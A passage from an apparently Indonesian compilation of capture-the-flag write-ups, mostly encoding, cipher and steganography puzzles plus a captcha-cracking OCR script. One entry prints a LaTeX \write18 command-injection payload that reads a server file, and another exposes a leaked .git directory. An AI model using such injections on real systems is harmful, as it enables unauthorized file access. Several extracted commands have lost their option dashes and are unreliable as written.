cfcd208495d565ef66e7dff9f98764da – 50 c4ca4238a0b923820dcc509a6f75849b – 77 c81e728d9d4c2f636f067f89cc14862c – 6e eccbc87e4b5ce2fe28308fd9f2a7baf3 – 69 a87ff679a2f3e71d9181a67b7542122c – 75 e4da3b7fbbce2345d7772b0674a318d5 – 6d 1679091c5a880faf6fb5e6087eb1b2dc – 7b 8f14e45fceea167a5a36dedd4bea2543 – 30 c9f0f895fb98ab9159f51fd0297e236d – 32 45c48cce2e2d7fbdea1afc51c7c6ad26 – 63 d3d9446802a44259755d38e6d163e820 – 65 6512bd43d9caa6e02c990b0a82652dca – 66 c20ad4d76fe97759aa27a0c99bff6710 – 37 c51ce410c124a10e0db5e4b97fc2af39 – 65 aab3238922bcc25a6f606eb525ffdc56 – 65 9bf31c7ff062936a96d3c8bd1f8f2ff3 – 62 c74d97b01eae257e44aa9d5bade97baf – 37 70efdf2ec9b086079795c442636b55fb – 35 6f4922f45568161a8cdf4ad2299f6d23 – 66 1f0e3dad99908345f7439f8ffabdffc4 – 64 98f13708210194c475687be6106a3b84 – 64 3c59dc048e8850243be8079a5c74d079 – 39 b6d767d2f8ed5d21a44b0e5886680cb9 – 64 37693cfc748049e45d87b8c7d8b9aacd – 66 1ff1de774005f8da13f42943881c655f – 37 4e732ced3463d06de0ca9a15b6153677 – 63 8e296a067a37563370ded05f5a3bf3ec – 36 02e74f10e0327ad868d138f2b4fdd6f0 – 63 33e75ff09dd601bbe69f351039152189 – 30 6ea9ab1baa0efb9e19094440c317e21b – 64 34173cb38f07f89ddbebc2ac9128303f – 63 c16a5320fa475530d9583c34fd356ef5 – 31 6364d3f0f495b6ab9dcf8d3b5c6e0b01 – 65 182be0c5cdcd5072bb1864cdee4d3d6e – 33 e369853df766fa44e1ed0ff613f563bd – 65 1c383cd30b7c298ab50293adfecb7b18 – 32
19ca14e7ea6328a42e0eb13d585e4c22 – 35 a5bfc9e07964f8dddeb95fc584cd965d – 35 a5771bce93e200c36f7cd9dfd0e5deaa – 62 d67d8ab4f4c10bf22aa353e27879133c – 7d
6. ambil 2 bytes list data yang telah terurut dari 0-39 (09) 50 77 6e 69 75 6d 7b 30 32 63 (1019) – 65 66 37 65 65 62 37 35 66 64 (2029) – 64 39 64 66 37 63 36 63 30 64 (3039) – 63 31 65 33 65 32 35 35 62 7d
7. Data tersebut adalah hexadecimal sehingga harus dilakukan konversi agar menjadi string. Hex:
50776e69756d7b30326365663765656237356664643964663763366330646331653365323535 627d
String: Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}
8. Selesai
Flag: Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}
Pwnium CTF 2014 - ROT
source: http://krebsco.de/writeups/rot.html 23
Setelah diketahui data,s mulai dilakukan ekstraksi gambar menjadi file.
import telnetlib import base64 tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2) foo = foo.strip() foo = base64.b64decode(foo) with open('foo.png', 'w') as f:
f.write(foo)
Setelah proses ekstraksi kemudian didapatkan gambar berikut
Setelah melihat gambar dan petunjuk exco. Maka disimpulkan bahwa gambar harus dipotong secara vertikal
convert foo.png crop 100x200+0+0 left.png convert foo.png crop 100x200+100+0 right.png
Dan bagian sebelah kiri harus dilakukan rotasi sebesar -90 derajat dan sebelah kanan 90 derajat. Berikut ini adalah hasilnya Dan bagian sebelah kiri harus dilakukan rotasi sebesar -90 derajat dan sebelah kanan 90 derajat. Berikut ini adalah hasilnya
Lakukan merge 2 gambar di atas, kemudian dari proses itu akan ditemukan kode rahasia.
composite left_rot.png right_rot.png compose difference difference.png Seperti yang diketahui, cracking captcha secara manual sangatlah tidak mungkin. Manusia
membutuhkan waktu yang lama sedangkan untuk cracking captha membutuhkan waktu singkat. Untuk itu diperlukan bantuan OCR untuk crack kode dan mengirimkannya kembali ke server.
Dengan menggunakan PyTesser yaitu library untuk mengekstrak tulisan dari gambar
from PIL import Image img = Image.open("difference.png") img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n"
Setelah beberapa kali percobaan, text recognition tidak dapat mengambil text dari gambar sehingga diperlukan pre-processing gambar. Membuat gambar background (biru dan magenta) menjadi putih dan membuat warna tulisan hitam.
Dengan menggunakan PIL dan load gambar menjadi two dimensional array. Berikut ini adalah kode yang digunakan.
pixdata = img.load() # Clean the background noise, if color != white, then set to black. for y in xrange(img.size[1]):
for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255)
Menyatukan kode
#!/usr/bin/env python #* coding: utf8 *
import telnetlib import base64 import os tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2) foo = foo.strip() foo = base64.b64decode(foo) with open('foo.png', 'w') as f:
f.write(foo)
os.system('convert foo.png crop 100x200+0+0 left.png') os.system('convert foo.png crop 100x200+100+0 right.png') os.system('convert left.png rotate 90 left_rot.png') os.system('convert right.png rotate 90 right_rot.png') os.system('composite left_rot.png right_rot.png compose difference difference.png')
from PIL import Image from PIL import Image
img = Image.open("difference.png") img = img.convert("RGBA")
pixdata = img.load() for y in xrange(img.size[1]):
for x in xrange(img.size[0]): if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255) else: pixdata[x,y] = (255,255,255,255) img = img.convert("RGB") from pytesser import * passwd = image_to_string(img).replace(" ","").strip()+"\n"
print(passwd) tn.write(passwd) print(tn.read_all())
Sehingga didapatkan flag Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}
Pwnium CTF 2014 - usb so fun
24
source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-
usb-so-fun/
File yang diberikan adalah network packet captured file (pcapng). Setelah proses download, hal pertama yang dilakukan adalah proses analisa tipe dan file. Kemudian dilakukan command sederhana pada pcap file.
Langkah untuk crack pada OS Linux
1. Lihat properti file $ file for1.pcap for1.pcap: pcapng capture file – version 1.0
2. Tricky commands $ strings for1.pcap | grep ‘Pwnium{‘ Pwnium{408158c115a82175de37e8b3299d1f93}
3. Selesai Flag: Pwnium{408158c115a82175de37e8b3299d1f93}
Pwnium CTF 2014 - Look closer
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014- 25
source
look-closer/
Problem ini sangat mudah Langkah untuk crack
1. Analisis file $ file Misc1.rar Misc1.rar: JPEG image data, JFIF standard 1.01, comment: “CREATOR: gdjpeg v1.0 (using IJG JPEG v80), quality = 100”
2. Ubah nama Misc.rar menjadi Misc1.jpg
3. Buka pada image-viewer, kemudian akan ditampilkan sebuah tulisan berukuran kecil. Cukup dengan melakukan zoom pada image dan akhirnya flag berhasil ditemukan
Flag: Pwnium{361a8212dda49824b8fdb70ce48f2f60}
Pwnium CTF 2014 - Break me
source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-
break-me/
Cipher text QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcytA2gNbvXgSvxdyRThQkDxSmOA=
Langkah untuk crack
1. Cipher text menggunakan base64, hal ini diketahui dari panjang total dibagi dengan 4 dan char terakhir adalah =.
2. Jangan menggunakan dekoder base64 online. Tool ini tidak memberikan text unknown atau kode hexa decimal
3. Didapatkan base64 decode ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00
\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\ xbf\x17rE8P\x90<R\x98\xe0’
4. Cari sesuatu yang berhubungan dengan output yang terkait
5. BZh91AY&SY terkait dengan kompresi bz2. Sehingga dilakukan kompresi bz2 pada module dengan menggunakan bahasa pemrograman Python.
>>> import bz2 >>> b64d = ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00 \x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\xbf\x1 7rE8P\x90<R\x98\xe0’ >>> d = bz2.decompress(b64d) >>> print repr(d) ‘9afa828748387b6ac0a393c00e542079’ >>>
6. Selesai Flag: 9afa828748387b6ac0a393c00e542079
Pwnium CTF 2014 - Alter code
source: https://crazybulletctfwriteups.wordpress.com/2014/07/08/pwnium-ctf-2014- 27
alter-code/
Analisa file main.c. Output yang dihasilkan memberikan sesuatu yang berbeda dan output tersebut menggantikan sebuah kode rahasia pada program main.c.
Given text: B1lR]c5r]Qsqfg Langkah untuk solve problem ini
1. Fokus pada kode rahasia
2. Menggunakan tool basic kriptografi seperti Mono Alphabetic cipher
3. Sehingga diputuskan untuk menggunakan metode enkripsi ROT-x (1-25)
4. Ada satu hasil dekripsi string yang memiliki makna yaitu sushi
5. Admin memberikan hint bahwa mata-mata berasal dari jepang
ROT0: B1lR]c5r]Qsqfg ROT1: C2mS]d6s]Rtrgh ROT2: D3nT]e7t]Sushi ROT3: E4oU]f8u]Tvtij ROT4: F5pV]g9v]Uwujk ROT5: G6qW]h0w]Vxvkl ROT6: H7rX]i1x]Wywlm ROT7: I8sY]j2y]Xzxmn ROT8: J9tZ]k3z]Yayno ROT9: K0uA]l4a]Zbzop ROT10: L1vB]m5b]Acapq ROT11: M2wC]n6c]Bdbqr ROT12: N3xD]o7d]Cecrs ROT13: O4yE]p8e]Dfdst ROT14: P5zF]q9f]Egetu ROT15: Q6aG]r0g]Fhfuv ROT16: R7bH]s1h]Gigvw ROT17: S8cI]t2i]Hjhwx ROT18: T9dJ]u3j]Ikixy ROT19: U0eK]v4k]Jljyz ROT20: V1fL]w5l]Kmkza ROT21: W2gM]x6m]Lnlab ROT22: X3hN]y7n]Mombc ROT23: Y4iO]z8o]Npncd ROT24: Z5jP]a9p]Oqode ROT25: A6kQ]b0q]Prpef
6. Konsentrasi pada ROT-2: D3nT]e7t]Sushi
7. Hint dari admin adalah “Observe Tabs and Spaces”
8. Ubah ] menjadi _ sehingga menjadi D0nT_e7t_Sushi Flag: DonT_e7t
EKOPARTY CTF 2015 - XOR Crypter
http://capturetheswag.blogspot.co.id/2015/10/ekoparty-2015-xor-crypter- 28
source:
crypto-200.html
File zip berisi script Python bernama “shiftcrypt.py”. Namun source code ini terlihat ganjil. Untuk mendekripsikan encrypted text seharusnya melakukan
operasi yang sama seperti cipher text – encyrpted text.
result = [] blocks = struct.unpack("I" * (len(data) / 4), data)
print repr(blocks)
for block in blocks: result += [block ^ block >> 16]
Mencoba mengenkripsi string yang diberikan CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= Dilakukan proses enkripsi lagi root@mankrik:~/ekoparty/crypto200# echo
CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= | base64 d > c; ./shiftcrypt.py "`cat c`" | tail 1 | base64 d
EKO{unshifting_the_unshiftable} Flag ditemukan EKO{unshifting_the_unshiftable}
Internetwache CTF 2016 - Quick Run
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-quick- 29
source:
run.html
Question
Solution Link file di dalam zip https://app.box.com/s/8aoepmqzfetr2syj9usq433kptaz8nid Mencoba base64 karena padding “==” pada text dan ditemukan QR code pada tiap blok text
Decoding QR code tersebut dan akhirnya flag ditemukan Flag is IW{QR_C0DES_RUL3} Flag: IW{QR_C0DES_RUL3}
Internetwache CTF 2016 - The hidden message
30
source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-hidden-
message.html
Question
Solution File README.txt di dalam file zip berisi 0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113
0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146 0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167 0000060 130 063 153 167 144 130 060 113 012 0000071
Melihat dari angka-angka tersebut, sangat jelas bahwa angka tersebut merupakan bilangan oktal. Dengan mengkonversi bilangan oktal menjadi ASCII akan memberikan hasil:
V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K Setelah itu lakukan proses decode base64 Flag IW{N0_0ne_can_st0p_y0u}
Internetwache CTF 2016 - Crypto-pirat
source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-crypto-
pirat.html
Question
Attachment crypto50.zip Solution Attachment memiliki file README.txt yang berisi ♆♀♇♀♆ ♇♇♀♆⊕ ♇♀♇♀♆ ♇♆♇♆⊕ ♆♇♆♇♇ ♀♆♇♆⊕ ♆♇♆♇♆ ♇♆♇♆⊕ ♆♇♇♀♇ ♀♆⊕♇♀ ♆⊕♇♀♆ ⊕♆♇♆♇ ♇♀♆♇♆
Hint mengatakan bahwa ada sebuah tabel pada website yang populer. Merujuk pada link berikut http://solarsystem.nasa.gov/galleries/solar-system-symbols
Simbol-simbol diatas disubstitusikan berdasarkan nomor planet. Sehingga didapatkan barisan angka seperti berikut ini 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898
Pada deskripsi ditulis “Did the East German Secret Police see a Pirat on the sky?” sehingga dicobalah untuk dilakuakn pencarian menggunakan Google. Hasil pencarian merujuk pada Stasi
Stasi memiliki table cipher vernam bernama TAPIR Dekripsi barisan angka menggunakan TAPIR. Sehingga didapatkan hasil seperti sandi morse berikut
. . ... .... . ... ... ... ... .. .. .. .. . . . .... .. .. .. .. . ... . .... . ... ... ... ..... . . . .. .. ... . . ... .. . .. . .. .. ... ... ... ... ... ...
Yang didalam alfabet berbunyi kzfhwttfmvsscx2ugayhcx2dozsw4z3sl5wge2c7nzsxeorjpu====== Lakukan base32 VJ{Neee!_T00q_Cvengr_lbh_ner:)} ROT-13 IW{Arrr!_G00d_Pirate_you_are:)}
Flag: IW{Arrr!_G00d_Pirate_you_are:)}
Internetwache 2016 - Replace with grace
32
source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-replace-
with.html
Question
Service https://replace-with-grace.ctf.internetwache.org Solution Halaman web memiliki 3 parameter yaitu: search, replace dan content Contohnya
search : /cow/ replace : cat content : cows are cute output : cats are cute.
Karena halaman web menggunakan PHP maka untuk search digunakan fungsi preg_replace.
Flag IW{R3Pl4c3_N0t_S4F3}
Internetwache CTF 2016 - oldskoolblog
source: http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-
0ldsk00lblog.html
Question
Service https://0ldsk00lblog.ctf.internetwache.org/ Di dalam blog menampilkan bahwa “All people are talking about a tool called ‘Git’, I think I might
give this a try“. Statement ini menimbulkan kecurigaan sehingga dicoba untuk mengecek apa yang ada di dalam folder melalui url https://0ldsk00lblog.ctf.internetwache.org/.git/
Namun browser menampilkan “403 Forbidden” yang berarti direktori tersebut ada namun tidak dapat diakses. Setelah itu mempelajari struktur direktori git.
Dengan menggunakan sebuah tool yang sangat berguna yaitu dcvr-ripper yang dapat membantu menemukan commits dan mengecek apakah direktory pada git dapat diakses seperti log, config, objek dan lain sebagainya.
Setelah menggunakan tool tersebut, berikut ini adalah list objek yang didapat objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296
objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2 objects/8c/46583a968da7955c13559693b3b8c5e5d5f510 objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b objects/26/858023dc18a164af9b9f847cbfb23919489ab2
objects/25/a3f35784188ac1c9bf48a94e5a9c815bcb598c objects/33/a5c0876603d7a6f9729637f36030bbabb2afa3 objects/95/a5396e62ca5c9577f761ebe969f52d3b6a9235 objects/19/49446afea12e0937044fdabe8cc101c87f7c54 objects/3b/e70be50c04bab8cd5d115da10c3a9c784d6bae objects/91/f09a7948e02d891d3a39c058a634a8752aba20 objects/75/03402e4d48be951cddda34aae6e01905bb5c98 objects/55/08adb31bf48ae5fe437bdeba60f83982356934
Membaca file objek File dalam list diperiksa satu persatu Setelah itu mendekompres tiap objek menggunakan python dan zlib, dan akhirnya objek terakhir
pada list terdapat flag objects/55/08adb31bf48ae5fe437bdeba60f83982356934
Flag IW{G1T_1S_4W3SOME}
Internetwache CTF 2016 - Texmaker
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016- 34
source:
texmaker.html
Question
Service https://texmaker.ctf.internetwache.org/ Solution Halaman website akan memberikan program a late dan membuat sebuah pdf Guide untuk melakukan hack pada latex http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf Pendekatan pertama yang dilakukan adalah menggunakan \input{“ls”} namun website merespon
dengan “BLACKLISTED commands cannot be used” Pendekatan kedua dengan menggunakan \write18
Dan \write18{cat ../flag.php}
Flag IW{L4T3x_IS_Tur1ng_c0mpl3te}
Nuit de Hack Quals 2014 - carbonara
35
source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-
carbonara.html
Question
Cipher text %96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]
Solusi Pendekatan pertama, subsititusi dengan melihat pada website asciitable.com : menjadi i
D menjadi s Sehingga didapatkan flag Imperator Iulius Caesar Divus
Nuit de Hack Quals 2014 - Here kitty kitty
source: http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-here-kitty-
kitty.html
Question
Mirror link http://1drv.ms/1jjplOH Hal yang pertama dilakukan adalah membuka file dengan menggunakan bantuan program audacity.
Waveform yang didapat sangat aneh sehingga menimbulkan kecurigaan. Dengan melakukan zoom in pada gelombang maka didapatkan sandi morse.
Berikut ini adalah sandi morse yang didapat ..... ... .. . .. ..... .... .... . .. ... . ..
Dekoding sandi morse yang didapat sehingga menghasilkan md5 hash 5BC925649CB0188F52E617D70929191C Karena problem ini case sensitive maka flag 5bc925649cb0188f52e617d70929191c
Olympic CTF 2014 - Binathlon 10 – Just no one
source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-binathlon-10-just-
no.html
Problem ini adalah problem binary
Challenge file https://db.tt/5I7qkEPv Problem dikategorikan sebagai problem binary namun problem ini mengajarkan kita bagaimana
pentingnya untuk membaca license agreement. File yang didapat adalah delphi coded password protected. Namun ternyata tidak sulit untuk menemukannya dan berikut ini adalah jawabannya
Flag: ILOVEREADINGEULAS
Olympic CTF 2014 - Out there
source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf2014-curling-10-out-
there.html
Problem ini berdasarkan ipv6 sehingga perlu dilakukan konfigurasi untuk mengakses alamat ipv6. Untuk menyelesaikan problem ini digunakanlah untuk https://ipv6.he.net/ tunelling
Question
Flag is out there http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/ Lakukan pencarian dengan menggunakan google kemudian didapatkan hasil bahwa alamat yang
diakeses seharusnya adalha http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901 ] XX adalah 69. Lakukan inspeksi souce code pada website kemudian dapatakan flag
Flag CTF{7a0dd6d4556a7ed60e6f7686eae0590d}
Olympic CTF 2014 – as seen on defcon
39
source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-nopsleigh-10-as-
seen.html
Question
EBFE is to x86 as _______ is to ARM64 Solution Untuk menyelesaikan problem ini, yang harus dilakukan adalah mencari upcode pada unconditional
branch pada infinite loop di ARM64 sebagai EBFE di x86 yang berarti unconditional jump. Hint yang didapat adalah pertanyaan itu sendiri. Tugas yang harus dilakukan adalah menemukan opcode. Lakukan pencarian pada Google kemudian didapatkan 0x14000000 sebagai opcode. Jika ditemukan EAFFFFFE maka itu adalah 32 bit.
Flag: 00000014
Olympic CTF 2014 - crypting
40
source: http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-figure-crypting-
10.html
Question
43wdxz 4edcvgt5 65rdcvb 6tfcgh8uhb 9ijn
Solution
Untuk menyelesaikan problem ini dengan mudah, digunakanlah gambar bantuan
Flag: sochi
BackdoorCTF 2014 – wifi password
source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-misc-
250-1-eng.html
Problem
Satyam memiliki keahlian untuk melihat tiga karakter terakhir dari password temannya yang bernama Pravj yaitu 007. Sebagai hacker, dia mengcapture paket yang dikirim melalui router WiFi milik Pravj. Satyam dan Pravj adalah teman yang sangat dekat, dia mengetahui seberapa cintanya Pravj dengan sistem angka hexadesimal. Bantu Satyam untuk meretas password WiFi (Satyam tidak tahu bahwa password menggunakan pergeseran kunci). Flag menggunakan md5(wifi_password)
Solution